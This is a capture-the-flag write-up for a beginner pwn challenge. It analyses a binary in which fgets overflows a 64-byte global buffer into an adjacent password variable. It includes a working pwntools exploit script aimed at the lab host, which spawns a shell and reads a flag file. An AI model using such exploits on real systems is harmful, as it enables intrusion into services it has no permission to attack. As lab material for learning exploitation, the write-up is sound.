Piece of cake
Piece of cake
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: adjacent_global_buffer_overflow, ret2win_via_condition, strcmp_bypass_via_overwrite
Summary
Task: 64-bit PIE ELF with fgets reading 128 bytes into a 64-byte global buffer, adjacent to a password variable checked by strcmp. Solution: overflow the input buffer to overwrite the adjacent good_pass variable with the expected string, triggering get_shell() which calls system(/bin/sh).
Piece of cake — HackerLab
Description
В ходе разведки сети мы обнаружили веб-сервер с приложением для некого сервиса и его самого уже запущенного. Приложение с веб-сервера я передал тебе, проанализируй его. Может быть, мы сможем проникнуть на сервер через этот сервис. Судя по всему это всё писал начинающий программист. Короче, я в тебя верю :)
English summary: During network reconnaissance, a web server was discovered running a service. The binary for the service is provided for analysis. The goal is to exploit the service to gain shell access. The description hints that the code was written by a beginner programmer, suggesting a simple vulnerability.
Target: 62.173.140.174:27970
Analysis
Binary reconnaissance
$ file task
task: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
$ checksec task
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Key observations:
- No stack canary — but the vulnerability is in global (.data) memory, not on the stack
- Full RELRO + PIE — GOT overwrite and address prediction are difficult, but not needed
- Not stripped — symbol names are available for analysis
Key symbols and memory layout
Reverse engineering with Ghidra reveals the following important symbols:
| Symbol | Type | Offset | Size | Description |
|---|---|---|---|---|
input | global buffer | 0x5fc0 | 64 bytes (0x40) | User input destination |
good_pass | global buffer | 0x6000 | 64 bytes (0x40) | Password variable, initialized to "No" |
get_shell | function | 0x1209 | — | Calls system("/bin/sh") |
The critical observation: input and good_pass are adjacent in the .data section:
0x5fc0: input (64 bytes)
0x6000: good_pass (64 bytes) ← 0x5fc0 + 0x40 = 0x6000
Vulnerability
In main(), the program reads user input with:
c read-only • copy allowedfgets(input, 0x80, stdin); // reads 128 bytes into 64-byte buffer!
This is a classic buffer overflow: fgets reads 128 bytes (0x80) into a buffer that is only 64 bytes (0x40). The excess bytes overflow directly into the adjacent good_pass variable.
Program flow
- Program prints a banner and prompts:
"Enter answer: " - Reads input with
fgets(input, 0x80, stdin)— overflow here - Compares:
strcmp(good_pass, "YEEEEESS! I LIKE CAKE!") - If match (returns 0) → calls
get_shell() get_shell()prints"Take that cake!!!"then executessystem("/bin/sh")
Solution
The exploit is straightforward:
- Fill the
inputbuffer with 64 bytes of padding (any character) - Overwrite
good_passwith the exact string"YEEEEESS! I LIKE CAKE!" - The
strcmpcheck passes,get_shell()is called, and we get a shell
Payload structure
[ 64 bytes padding ][ "YEEEEESS! I LIKE CAKE!" ]
|--- input buffer ---|--- overwrites good_pass -----|
0x5fc0 0x6000
Exploit script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "62.173.140.174" PORT = 27970 # The input buffer is 64 bytes at 0x5fc0 # good_pass is right after at 0x6000 # fgets reads 0x80 (128) bytes into the 64-byte input buffer # strcmp(good_pass, "YEEEEESS! I LIKE CAKE!") == 0 triggers get_shell() padding = b"A" * 64 # fill input buffer (0x40 bytes) password = b"YEEEEESS! I LIKE CAKE!" # overwrite good_pass payload = padding + password r = remote(HOST, PORT) r.recvuntil(b"Enter answer: ") r.sendline(payload) r.recvuntil(b"Take that cake!!!") r.sendline(b"cat /home/r00t/flag.txt") print(r.recvrepeat(timeout=5).decode()) r.close()
Execution
$ python3 exploit.py
[+] Opening connection to 62.173.140.174 on port 27970: Done
CODEBY{REDACTED}
[*] Closed connection to 62.173.140.174 port 27970